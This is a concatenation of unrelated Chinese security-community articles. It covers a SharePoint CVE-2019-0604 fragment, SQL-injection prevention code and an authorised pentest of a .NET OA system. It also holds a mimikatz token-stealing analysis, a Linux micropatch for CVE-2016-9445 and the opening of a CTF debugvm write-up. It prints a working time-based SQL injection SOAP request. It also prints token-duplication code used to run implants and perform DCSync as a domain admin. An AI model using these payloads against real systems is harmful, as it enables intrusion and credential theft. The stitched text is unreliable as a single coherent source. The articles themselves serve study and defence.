当使用以“ **”开头的`ctl00 $ PlaceHolderDialogBodySection $ ctl05 $
hiddenSpanData`值（如“**dummy”）提交表单时，`EntityInstanceIdEncoder.DecodeEntityInstanceId`中的断点将显示以下情况。
此时调用堆栈如下所示：
当使用其他`ItemPickerDialog`类型时，只有两个最顶层的条目是不同的，如下所示：
这是`ctl00 $ PlaceHolderDialogBodySection $ ctl05 $
hiddenSpanData`的数据最终在`EntityInstanceIdEncoder.DecodeEntityInstanceId`中的证明过程。
其余的只是处理实体实例id编码并找到适当的`XmlSerializer`payload。
本文为翻译文章，来自：https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability | 社区文章 |
### Heibernate框架
<h6>HQL查询</h6>
Query query = session.createQuery("from Secret where username=?");
query.setParameter(0, username);
//Query query = session.createQuery("from Secret where username=:username");
<h6>使用PreparedStatement预编译</h6>
PreparedStatement updateSales =
conn.prepareStatement(" update goods set sales = ? where good_name like ?");
updateSales.setInt(1, 75);
updateSales.setString(2, "喜之郎果冻");
updateSales.executeUpdate();
### Mybatis框架
核心：能用#就不用$
select * from news where tile like concat('%',#{title},'%')
### ESAPI
<h6>Oracle</h6>
Codec oracleCodec = new OracleCodec();
String query = "select name from users where id = " + ESAPI.encoder().encoderForSQL(oracleCodec,userId);
Statement stmt = conn.createStatement(query);
<h6>MySQL</h6>
Codec mysqlCodec = new MySQLCodec(MySQLCodec.ANSI_MODE);
ANSI模式下，对单引号进行转义，对双引号进行过滤
private String encodeCharacterANSI(Character c){
if(c == '\'')
return "\'\'";
if(c == '\"')
return "";
return "" + c;
}
Codec mysqlCodec = new MySQLCodec(MySQLCodec.MYSQL_MODE);
MYSQL模式通过在字符前面加反斜杠字符来进行转义
<h6>其它</h6>
ESAPI提供了OracleCodec，MySQLCodec, DB2Codec,[MSSQLCodec,
PgSQLCodec]，在使用时都是先实例化，再由`ESAPI.encoder().encoderForSQL`进行过滤/转义操作 | 社区文章 |
# 0x00写在前面
在一次授权的实战测试中，需要拿到某OA的权限，经过top500的姓名+top100的密码，爆破出来几个账户，有了账户，进入oa内部，通过上传很轻松的就拿到了shell，但是客户不满足于此，要求找到未授权的RCE.有了shell，可以把源码脱下来，但这OA是.net+mssql开发的，我又不懂.net，没办法只能硬着头皮上了。
过程中涉及的一些aspx的审计知识都是根据项目需要百度现学+猜理解的，分享出来给一些像我一样完全不懂.net
小白提供一些应急审计的思路，如果有错误，请大佬们多多指教。
# 0x01 了解.NET审计思路
由于我对aspx的站点一点不懂，所以首先需要了解一些aspx审计的一些知识，通过一番百度，大概明白了aspx的代码基本都是封装在bin目录下的dll文件中的，这里大概分为两种情况：
1. 一个页面对应一个dll
我们打开一个aspx页面，发现
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>
Inherits对应的就是bin目录下dll文件的位置，这里对应的是bin目录下Richfit.Garnet.Web.dll，我们直接反编译Richfit.Garnet.Web.dll，然后查找SSOExample就可以找到该页面的代码内容。
1. 一个项目对应一个dll
同样打开aspx页面，发现代码：
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UpdateApplication.aspx.cs" Inherits="CustomizedWCFUI.UpdateApplication" %>
我们根据Inherits的值CustomizedWCFUI去找dll文件，是找不到的。这种情况下是把整个项目封装成一个dll了（一般和目录名对应），比如在目标中我们的地址是<http://www.xxx.com/MailServer/login.aspx，那么就去寻找bin目录下Mailserver.dll>
然后对应着一级一级去找对应的代码。
找到了对应的dll文件之后，开始进行反编译，查找代码，这里我用的是ILspy，我们直接把dll文件拖进去即可
这里就可以看到Mailserver下面有很多的函数。
# 0x03 开始审计
## 1.verifycode泄露导致sql注入
首先来看一下webservice/MailWebService.asmx
这里我挑了了一个RestoreEmail来测试，这里asmx接口是给了测试样例的：
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>string</TimeStamp>
<VerifyCode>string</VerifyCode>
<UserGuid>string</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
从样例中可以看到我们可控的地方有四个参数，我们需要了解一下这四个参数是如何使用的。
根据前面的学习，我们需要到
Mailserver.WebService.MailWebService下去寻找
我们直接找到RestoreEmail函数查看代码：
public string RestoreEmail(string TimeStamp, string VerifyCode, string UserGuid, string MailGuid)
{
AjaxResultModel ajaxResultModel = new AjaxResultModel();
if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
{
using (SqlDataFactory sqlDataFactory = new SqlDataFactory(PublicSetting.RawDBHelper_ApplicationSetting_ConnectionStringKey, true))
{
ajaxResultModel.IsSuccess = sqlDataFactory.ExecuteSQLBool(string.Concat(new string[]
{
"update Inbox set Folder='",
0.ToString(),
"' where MailGuid='",
MailGuid,
"' and UserGuid='",
UserGuid,
"'"
}));
}
}
return Serializer.SerializeJSON<AjaxResultModel>(ajaxResultModel);
}
在这里可以很明显的看到将MailGuid和UserGuid直接带入数据库查询，而这两个参数是我们可控的，这里便产生了一个update型的sql注入。
但在数据库执行前有一个`if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref
ajaxResultModel))`,需要返回true，才可以进入if语句，进行数据库查询。
跟进IsValidRequest
public static bool IsValidRequest(string TimeStamp, string VerifyCode, ref AjaxResultModel AjaxResultObject)
{
bool flag = MD5.MD5Data(PublicSetting.MD5String + TimeStamp) == VerifyCode;
if (!flag)
{
AjaxResultObject.ErrorMsg = "无效的验证码，您无权访问此服务！";
}
return flag;
}
这里通过一个动态的md5校验码来验证是否有权限访问，而这里的PublicSetting.MD5String我们是无法确定的，看来无法利用啊，只好去查找别的点。
在看到/mailserver/Test/test.aspx 的代码时，突然发现个好东西：
public class test : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = "2971ABC5-AC17-455C-AC33-C91066707F9C";
string text2 = "王杨治";
string text3 = DateTime.Now.Ticks.ToString();
string text4 = MD5.MD5Data(PublicSetting.MD5String + text3);
base.Response.Write(string.Concat(new string[]
{
"ComposeInterface.aspx?TimeStamp=",
text3,
"&VerifyCode=",
text4,
"&SenderUserGuid=",
text,
"&SenderName=",
text2
}));
}
}
}
这应该是程序员为了做测试写的一个测试，但在上线时没有删除，里面`MD5.MD5Data(PublicSetting.MD5String +
text3)`的代码有点眼熟啊，不就是我们前面进行VerifyCode验证的代码吗，这里程序员还贴心的把执行结果输出到页面中去，使用他可以直接绕过IsValidRequest的判断啊
那么直接拿到`TimeStamp=637475525389254815&VerifyCode=727de04ad204d7b00ed1a1ff66943456`去构造webservice的数据包
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>637475525389254815</TimeStamp>
<VerifyCode>727de04ad204d7b00ed1a1ff66943456</VerifyCode>
<UserGuid>string';waitfor delay '0:0:5'--</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
于是构造数据包post发送，成功延时，收获sql注入一枚。 | 社区文章 |
## 0x00 前言
[Mimikatz](https://github.com/gentilkiwi/mimikatz)是法国安全研究员Benjamin
Delpy开发的一款安全工具。渗透测试人员对mimikatz印象最深的肯定就是抓取Windows凭证，但作者对它的描述是“a tool I've made
to learn C and make somes experiments with Windows
security.”，其实它的功能不仅仅是抓取凭证，还包含了很多Windows安全相关的技术和知识
这里借用@daiker师傅的思维导图，mimikatz的模块大致可分为几个部分：
因此文章也会大致分为windows 访问控制模型，windows 凭据以及加解密，windows AD 安全，windows 进程以及服务，mimikatz
其他模块五个小系列。之前自己一直想分析mimikatz的相关功能，主要是出于以下原因：
mimikatz中有许多功能利用了Windows的一些机制和特性，以changentlm为例，其利用MS-SAMR协议修改用户的密码，我们再根据MS-SAMR或RPC进行知识延伸，肯定也有不少收获
mimikatz中涉及大量内存的操作，其中运用的内存Patch技术也被经常应用于一些安全机制的绕过（如绕过AMSI、Credential
Guard等），于是自己想在分析过程中通过windbg学到一些调试的技巧
mimikatz在实战中被杀的很厉害，了解相应原理可以自己实现相应功能
学习/练习C语言 :D
mimikatz中与Windows访问控制模型相关的有privilege、token、sid三个模块，其分别对应特权、访问令牌、安全标识符三个知识，本文主要分析token模块，并简要介绍Windows访问控制模型
由于mimikatz代码逻辑较为复杂，涉及大量回调，因此文中代码都是经过简化的。文章可能也会有一些技术上或者逻辑上的错误，还请师傅们指正
## 0x01 访问控制模型简介
Windows访问控制模型有两个基本组成部分：
访问令牌(Access Token)：包含有关登录用户的信息
安全描述符(Security Descriptor)：包含用于保护安全对象的安全信息
### 1\. 访问令牌(Access Token)
访问令牌(Access
Token)被用来描述一个进程或线程的安全上下文，用户每次登录成功后，系统会为其创建访问令牌，该用户的所有进程也将拥有此访问令牌的副本
当线程与安全对象进行交互或尝试执行需要特权的系统任务时，系统使用访问令牌来标识用户。使用windbg查看进程的token，其包含信息如下图所示：
### 2\. 安全描述符(Security Descriptor)
安全描述符(Security
Descriptor)包含与安全对象有关的安全信息，这些信息规定了哪些用户/组可以对这个对象执行哪些操作，安全描述符主要由以下部分构成：
所有者的SID
组SID
自主访问控制列表（DACL），规定哪些用户/组可以对这个对象执行哪些操作
系统访问控制列表（SACL），规定哪些用户/组的哪些操作将被记录到安全审计日志中
在windbg中查看一个安全对象的安全描述符，可以清晰的看到安全描述符的组成：
可以看到该安全描述符的DACL中有三条ACE，ACE的类型都是`ACCESS_ALLOWED_ACE_TYPE`，`Mask`是权限掩码，用来指定对应的权限。以第一条ACE为例，其表示允许SID为S-1-5-32-544的对象能够对该安全对象做0x001fffff对应的操作
### 3\. 权限检查的过程
当某个线程尝试访问一个安全对象时，系统根据安全对象的ACE对照线程的访问令牌来判断该线程是否能够对该安全对象进行访问。通常，系统使用请求访问的线程的主访问令牌。但是，如果线程正在模拟其他用户，则系统会使用线程的模拟令牌
此时将在该安全对象的DACL中按顺序检查ACE，直到发生以下事件：
某一条拒绝类型的ACE显式拒绝令牌中某个受信者的所有访问权限
一条或多条允许类型的ACE允许令牌中列出的受信者的所有访问权限
检查完所有ACE但没有一个权限显式允许，那么系统会隐式拒绝该访问
我们以微软文档中的图片为例，描述一下整个过程：
线程A请求访问安全对象，系统读取ACE1，发现拒绝Andrew用户的所有访问权限，而线程A的访问令牌是Andrew，因此拒绝访问，并不再检查ACE2、ACE3
线程A请求访问，系统按顺序读取ACE，ACE1不适用，读取到ACE2发现适用，再读取到ACE3也适用，因此最终该用户拥有对该安全对象的读、写、执行权限
## 0x02 Mimikatz的Token模块
Mimikatz的token模块共有5个功能：
**token::whoami** ：列出当前进程/线程的token信息
**token::list** ：列出当前系统中存在的token
**token::elevate** ：窃取其他用户的token
**token::run** ：利用某用户权限运行指定程序
**token::revert** ：恢复为原来的token
### 1\. token::whoami
该功能用于列出当前进程/线程的token信息
只有一个可选参数`/full`，当指定该参数时会打印出当前token的组信息和特权信息：
该功能的原理大致如下：
通过`OpenProcess()`获取当前进程/线程的句柄
调用`GetTokenInformation()`获取token的各种信息并输出
其核心为调用`GetTokenInformation()`来获取token的各种信息，我们先来看这个API定义
BOOL GetTokenInformation(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
LPVOID TokenInformation,
DWORD TokenInformationLength,
PDWORD ReturnLength
);
其中第二个参数是一个`TOKEN_INFORMATION_CLASS`枚举类型，我们可以通过指定它的值来获取token指定的信息
typedef enum _TOKEN_INFORMATION_CLASS {
TokenUser,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
...
} TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS;
例如获取token的SessionID并输出，可以使用以下代码：
if (!GetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(TokenSessionId), &dwSize))
{
wprintf(L"[!] GetTokenInformation error: %u\n", GetLastError());
}
wprintf(L"\t%-21s: %u\n", L"Session ID", sessionId);
### 2\. token::list
该功能是获取当前系统中所有的token，注意使用前需要先获取`SeDebugPrivilege`，否则列出的token不全
该功能原理大致如下：
调用`NtQuerySystemInformation()`获取系统进程信息（如进程PID等）
循环遍历所有进程的PID，使用`token::whoami`功能中的方法对指定token信息进行输出
`NtQuerySystemInformation()`用来检索指定的系统信息：
__kernel_entry NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
其第一个参数是一个`SYSTEM_INFORMATION_CLASS`枚举类型，我们同样可以指定不同参数来获取不同的系统信息
以获取系统进程名和PID为例，代码如下：
PSYSTEM_PROCESS_INFORMATION pProcessInfo = NULL;
DWORD flag = TRUE;
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
while (ntReturn == STATUS_INFO_LENGTH_MISMATCH) {
free(pProcessInfo);
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
}
while (flag)
{
if (pProcessInfo->NextEntryOffset == 0)
flag = FALSE;
wprintf(L"%-15d", (DWORD)pProcessInfo->UniqueProcessId);
wprintf(L"%-50s", (wchar_t*)pProcessInfo->ImageName.Buffer);
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pProcessInfo + pProcessInfo->NextEntryOffset);
}
PS：按照该思路，理论上利用`CreateToolhelp32Snapshot()`+`Process32First()`遍历进程PID也可以实现该功能
### 3\. token::elevate
该模块用于窃取指定用户的token，共有7个可选参数，这些参数主要用来指定要窃取的token，如果不指定参数则默认窃取`NT
AUTHORITY\SYSTEM`的token
**/id** ：指定目标token的TokenID
**/domainadmin** ：窃取域管的token
**/enterpriseadmin** ：窃取企业管理员的token
**/admin** ：窃取本地管理员的token
**/localservice** ：窃取Local Service权限的token
**/networkservice** ：窃取Network Service权限的token
**/system** ：窃取SYSTEM权限的token
假设我们现在在目标机器上发现的域管权限的token
我们可以指定目标TokenID，或者使用`/domainadmin`来窃取域管的token，执行成功后可以看到当前线程已经拥有域管的模拟令牌：
然后我们就可以在当前mimikatz上下文中使用域管身份执行操作了，如DCSync
该功能大致过程如下：
通过`OpenProcess()`获取当前进程/线程的句柄
调用`OpenProcessToken()`打开与进程相关的token句柄
使用`DuplicateTokenEx()`使用目标进程token创建一个新的模拟token
调用`SetThreadToken()`设置当前线程的token为上一步创建的新的模拟token
由于窃取token是Access Token利用的重点，该过程放在本文后面分析
### 4\. token::run
该功能是使用指定的token来运行程序，也可以使用`token::elevate`中的几个参数来指定运行程序的token，除此之外还有一个参数：
**/process** ：指定要运行的程序，默认值为whoami.exe
`来使用新的primary
token创建一个进程
BOOL CreateProcessAsUserA(
HANDLE hToken,
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
创建进程后，利用匿名管道做进程间通信，将新创建进程的标准输出写入到匿名管道的write端，从管道read端读取数据进行回显（在webshell等非交互场景下很有用）
if (CreatePipe(&hStdoutR, &hStdoutW, &saAttr, 0))
{
SetHandleInformation(hStdoutR, HANDLE_FLAG_INHERIT, 0);
si.cb = sizeof(STARTUPINFO);
si.hStdOutput = hStdoutW;
si.hStdError = si.hStdOutput;
si.dwFlags |= STARTF_USESTDHANDLES;
if (CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, NULL, cmd, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
{
CloseHandle(si.hStdOutput);
si.hStdOutput = si.hStdError = NULL;
while (ReadFile(hStdoutR, resultBuf, sizeof(resultBuf), &dwRead, NULL) && dwRead)
{
for (i = 0; i < dwRead; i++)
wprintf(L"%c", resultBuf[i]);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else wprintf(L"CreateProcessWithTokenW error 0x%08X\n", GetLastError());
}
else wprintf(L"CreatePipe error! 0x%08X\n", GetLastError());
### 5\. token::revert
该模块用来清除线程的模拟令牌：
原理很简单，直接使用`SetThreadToken(NULL,
NULL)`即可将当前线程的token清除
## 0x03 令牌窃取
在渗透测试中，窃取token是administrator -> system的常见手法之一，还经常被用于降权等用户切换操作
### 1\. 原理
窃取token主要涉及以下几个API：
1 . **OpenProcess**
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
该函数打开指定PID的进程的句柄，需要注意的是第一个参数 **dwDesiredAccess** ，主要会用到的是以下三个权限
PROCESS_ALL_ACCESS
PROCESS_QUERY_INFORMATION (0x0400)
PROCESS_QUERY_LIMITED_INFORMATION (0x1000)
我在编写窃取Token的代码时，发现对部分进程（如smss.exe、csrss.exe等）调用OpenProcess会出现拒绝访问的情况，查阅网上资料后发现这些进程存在保护，需要使用`PROCESS_QUERY_LIMITED_INFORMATION`权限打开句柄，详情请参考[这篇文章](https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b)
2 . **OpenProcessToken**
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);
该函数打开与进程相关联的令牌的句柄，其中第二个参数 **DesiredAccess** 同样用来指定令牌的访问权限，需要以下几个：
TOKEN_DUPLICATE：复制令牌需要的权限
TOKEN_QUERY：查询令牌需要的权限
如果要调用`DuplicateTokenEx`需要指定TOKEN_DUPLICATE，如果调用`ImpersonatedLoggedOnUser`则需要指定TOKEN_DUPLICATE和TOKEN_QUERY
3 . **DuplicateTokenEx**
BOOL DuplicateTokenEx(
HANDLE hExistingToken,
DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
PHANDLE phNewToken
);
`DuplicateTokenEx`用来复制现有的令牌来生成一张新令牌，该函数可以选择生成主令牌还是模拟令牌
**hExistingToken** ：指定现有的令牌句柄，可以使用`OpenProcessToken`获得
**dwDesiredAccess** ：用来指定令牌访问权限，需要指定以下几个来支持后面调用`CreateProcessWithToken`：
TOKEN_DUPLICATE：需要复制访问令牌
TOKEN_QUERY：需要查询访问令牌
TOKEN_ASSIGN_PRIMARY：将令牌附加到主进程的权限
TOKEN_ADJUST_DEFAULT：需要更改访问令牌的默认所有者、主要组或 DACL
TOKEN_ADJUST_SESSIONID：需要调整访问令牌的会话 ID，需要 SE_TCB_NAME 权限
**lpTokenAttributes** ：指向SECURITY_ATTRIBUTES结构的指针，该
结构指定新令牌的安全描述符并确定子进程是否可以继承该令牌
**ImpersonationLevel** ：指定令牌的[模拟级别](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level)，当进行复制令牌时，主令牌被复制为模拟令牌是始终被允许的，而模拟令牌复制为主令牌则需要模拟级别
>= Impersonate
**TokenType** ：指定新令牌的类型，是主令牌（Primary Token）还是模拟令牌（Impersonate Token）
**phNewToken** ：返回令牌句柄的地址
复制完一张新令牌后，我们就可以利用这张新令牌来运行我们指定的进程了
4 . **CreateProcessWithTokenW**
BOOL CreateProcessWithTokenW(
HANDLE hToken,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
该函数创建一个新进程及其主线程，新进程在指定令牌的安全上下文中运行。我们直接指定前面复制出来的新令牌，使用该令牌创建我们指定的进程即可
### 2\. 利用
根据mimikatz的token模块的原理，简单实现了一个[demo](https://github.com/loong716/CPPPractice/tree/master/TokenTest)，也有许多token相关的工具如incognito等
当获取管理员权限后，我们可以列出系统中进程对应的token：
然后窃取指定进程的token来运行我们的程序，如直接运行上线马
如果想要拿回程序输出的话，则可以通过管道等进程间通信的方法来回显输出
如果拿到一台机器有域管的进程，那么我们可以直接窃取域管进程的token来进行DCSync攻击
## 0x04 参考链接
<https://docs.microsoft.com/>
<https://github.com/gentilkiwi/mimikatz/>
<https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation>
<https://www.slideshare.net/JustinBui5/understanding-windows-access-token-manipulation>
<https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b> | 社区文章 |
# 【技术分享】Linux上的0patch代理：微补丁CVE-2016-9445（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：0patch.blogspot.co.za
原文地址：<https://0patch.blogspot.co.za/2017/02/0patch-agent-on-linux-micropatching-cve.html?m=1>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：130RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
在12月，我们终于得到了Linux代理的工作原型。它已经制作了相当一段时间，现在，它处于alpha阶段，我们终于可以开始0patching
Linux的用户空间代码。Linux代理仍然缺乏Windows代理支持的一些功能，但它已经准备好了。
超过[65%的Web服务器运行着不同风格的Unix](https://w3techs.com/technologies/overview/operating_system/all)
，修补高可用性的Linux环境安全漏洞应该一直都不是问题。如果我们以Heartbleed漏洞为例，部署官方补丁所需的时间不仅包括供应商发布补丁所需的时间，还包括DevOps测试和部署它所需的时间。我们的目标是使补丁尽可能小，易于查看，甚至更容易部署，从而避免重新启动服务器的需要，从而大大缩短这一时间。
当在Ubuntu上开发和测试Linux代理时，我们已经为Heartbleed创建了一个补丁，虽然还有很多易受攻击的服务器，但是它们能马上能得修复。
这个漏洞在去年十一月发表了Chris的[博客](http://scarybeastsecurity.blogspot.si/2016/11/0day-poc-risky-design-decisions-in.html)中。漏洞位于gstreamer的VMnc解码器，它处理VMware屏幕捕获格式。这是一个非常简单的整数溢出并且Chris提供了[PoC](https://security.appspot.com/security/vmnc/vmnc_width_height_int_oflow.avi)。
我创建一个Fedora 25虚拟机，然后尝试使用totem，totem是一个原生于Gnome的视频播放器，它在未修补的Fedora
25上使用gstreamer编程框架。使用totem来播放PoC会导致崩溃。Chris对这个bug进行详细分析。他指出在vmncdec.c文件中的vmnc_handle_wmvi_rectangle方法发生了整数溢出，它是gstreamer-plugins-bad包的一部分。你可以在Gihub上查看其源码gstreamers github。Chris
解释发生溢出的原因是，因为用户提供的rect->width和rect->height会与bytes_per_pixel相乘,最终的结果会作为分配图像数据缓冲区的大小。这两个变量都是带符号的32位整数。如果提供足够高的值，则就会发生整数溢出。随后的内存分配（在下面的图像中标记为红色）会产生比图像数据小的缓冲区，这将导致缓冲区溢出。
我反汇编了libgstvmnc.so
，并定位vmnc_handle_wmvi_rectangle函数，在这个函数里高度和宽度相乘，缓冲器被分配（在下面的图像中标记为红色）。
当有效比特超过了结果的一半时,IMUL指令会设置进位和溢出标志，所以我的第一个想法是，如果这些标志设置，我们可以返回一个错误指令。补丁位置在上图中以绿色标记。这是我补丁的第一个版本，它应用于IMul的原位置上（绿色标记的上述图像上）：
imul 0x30c(%rbx),%edi //Multiply width and height
jc _bad //If CF is set jump to return error
imul 0x314(%rbx),%edi //Multiply with bytes_per_pixel
jc _bad //If CF is set jump to return error
jmp _good //If no CF is set continue execution
_bad:
pop %rdi //Return error code:
add $0x28,%rsp
mov $0xffffffff,%eax //Set %eax to -1
pop %rbx
pop %rbp
pop %r12
pop %r13
pop %r14
pop %r15
retq //and return
_good:
正如你所看到的，我们在每一个imul指令后都进行检查,如果进位标志被设置，则返回一个错误。
然而，应用补丁后，totem仍然崩溃。在经过一些调试后，我发现，仅仅在vmnc_handle_wmvi_rectangle函数里返回错误是不够的。因此我看了下方的官方补丁
。
在vmnc_handle_packet函数中可以找到官方补丁
。你可以看到，如果width大于16386或者height大于0x4000,就会返回一个错误。我们的补丁应该和它一样。我反汇编了未修补和已修补的两个版本的
vmnc_handle_packet 函数, 并用Bindiff寻找一个合适的补丁位置。下面的图像代表两个代码的组合视图。绿色代码是由官方补丁添加的。
只有当数据包类型等于TYPE_WMVi 或0x574D5669时, 官方补丁代码才会被执行。在我选择的修补程序位置（红色标记-点击上面的图片可查看大图）的％EDI 寄存器保存数据包类型值，而 ％r8w 和％CX 保存着宽度和高度。这是最终生成的补丁：
cmp $0x574d5669,%edi //If the packet type doesn't equal TYPE_WMVi,
jnz _end //continue execution
cmp $0x4000,%r8w //If width is greater than 0x4000,
ja _bad //jump to return error
cmp $0x4000,%cx //If height is smaller than 0x4000,
jbe _end //continue execution, else return error
_bad:
mov $0xffffffff,%eax //Set %eax to -1
add $0x48,%rsp
pop %rbx
pop %rbp
pop %r12
pop %r13
pop %r14
pop %r15
retq //and return
_end:
补丁可以成功地阻止整数溢出和后续的内存分配，使文件可以正常播放，正如官方补丁一样。这里是我们Linux 0patch代理和我们刚刚开发的补丁的短视频。
如你所见，totem在尝试打开PoC时崩溃 。将补丁文件复制到补丁文件夹内并启用补丁后，totem不再崩溃，视频可以正常播放。
开发这个补丁花了大约8小时。这包括反汇编libgstvmnc.so
，尝试了开发了一个错误的补丁，分析了官方补丁并打上正确的补丁。这是一个相对简单的补丁，但我的目的是想展示我们的Linux代理及其功能，这几乎与我们在Windows上正在做的一样。
我们正在不断努力扩展支持的操作系统平台，所以我们有一天可以为需要它的每个人带来0patch | 社区文章 |
这是一道今年4月份第二届全国强网杯线下赛时候的题目，最近在线下抓取的exp流量辅助之下终于得以完成。其他几道难题好像网上都能找到相关解题思路了，而唯独这道题还没有。完成后特地花时间完成本文来与大家分享学习。
此题的难点主要有两个，首先是对通讯协议的逆向与构造，其次就是对虚拟机指令集的逆向与分析。需要一提的是，以下的解法只是其中的一种，题目本身存在不止一个漏洞，从各位神仙大佬的exp流量来看，至少存在两个漏洞，利用的方法也有多种。题目文件请从附件下载。
## 找到突破口
刚拿到这道题目绝对是有一种无从下手的感觉，首先看一下题目开的保护。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
保护还是开得比较全面的，但是留下一个PIE。
直接运行以后只会显示welcome，输入任意字符串以后也不会有进一步的交互提示。
打开ida反编译之后稍微跟踪一下函数就会发现有一个代码量比较大的switch语句，用ida的流程图功能展示如下：
稍有经验的选手们都可能知道，如果反编译出来的代码存在一个很大的swtich语句，其中存在嵌套结构的，这样的情况很有可能就是一个虚拟机，或者是一个解释器。
看到代码量这么大的函数不好下手，我们换一个思路，从字符串下手。
字符串里面提供的信息也是少得可怜，就选择一个看起来最特别的放到google搜一下好了。
马上就能看到提示说字符串出现在qemu里面一个gdbstub组件里面：
[gdbstub.c](https://android.googlesource.com/platform/external/qemu/+/master/gdbstub.c)
把这份源码下载下来，和ida里面反编译的源码对照，就能把其中一些函数名确认下来了，根据源码我们不难确定binary里面调用了gdbstub的`gdb_handlesig`和`gdb_handle_packet`函数，当然也包块其他的一些辅助函数，例如`hextommem`和`put_packet`。而在`gdb_handlesig`的尾部有一个`custom_read`函数（自定义名称）
里面出现了整个程序唯一一个`read`函数，这里就是程序用来获取输入内容的地方。
理清一下这部分的逻辑，根据上面两张截图的代码我们可以了解到，程序会从`stdin`获取用户的输入，然后把输入交给`gdb_read_byte`这个函数去解析处理，所以我们要通过gdbstub的解析模块对程序进行输入操作。
## gdbstub
再回到gdbstub第一次进入我们视线的地方，发现这是一个qemu内置的模块，它的作用是提供一个接口给gdb与qemu的虚拟环境进行调试。这也正好吻合了题目的名字——debugvm。既然是内含了一个gdb调试的接口，何不就直接通过gdb链接测试一下？
我们直接借助`ncat`这个工具打开把程序的I/O转发到一个本地端口：
`ncat -vc ./debug-vm -kl 0.0.0.0 4444`
然后直接用gdb连接上去看一下，打开gdb以后运行命令
`target remote :4444`
咦，好像有戏，连接成功，并且输出了相关寄存器的状态
尝试一下基本的命令，如果直接用`next`命令，程序会卡住没有返回。如果用`continue`命令，可以观察到有几个寄存器的值发生了变化，而且程序会报SIGKILL错误。
测试一下其他一些命令，发现hexdump竟然可以正常使用，用时还能往段地址上面写数据。
### gdb remote protocol
通过以上简单的测试我们可以确定，程序内置的是一个阉割版的gdb remote
server接口（我一开始还天真地以为通过p命令往虚拟机内存写上x86的shellcode就可以执行了）。首先还是先搞懂gdb的通讯协议吧。先是找到了一条命令，能够让gdb显示通讯包的内容：
`set debug remote 1`
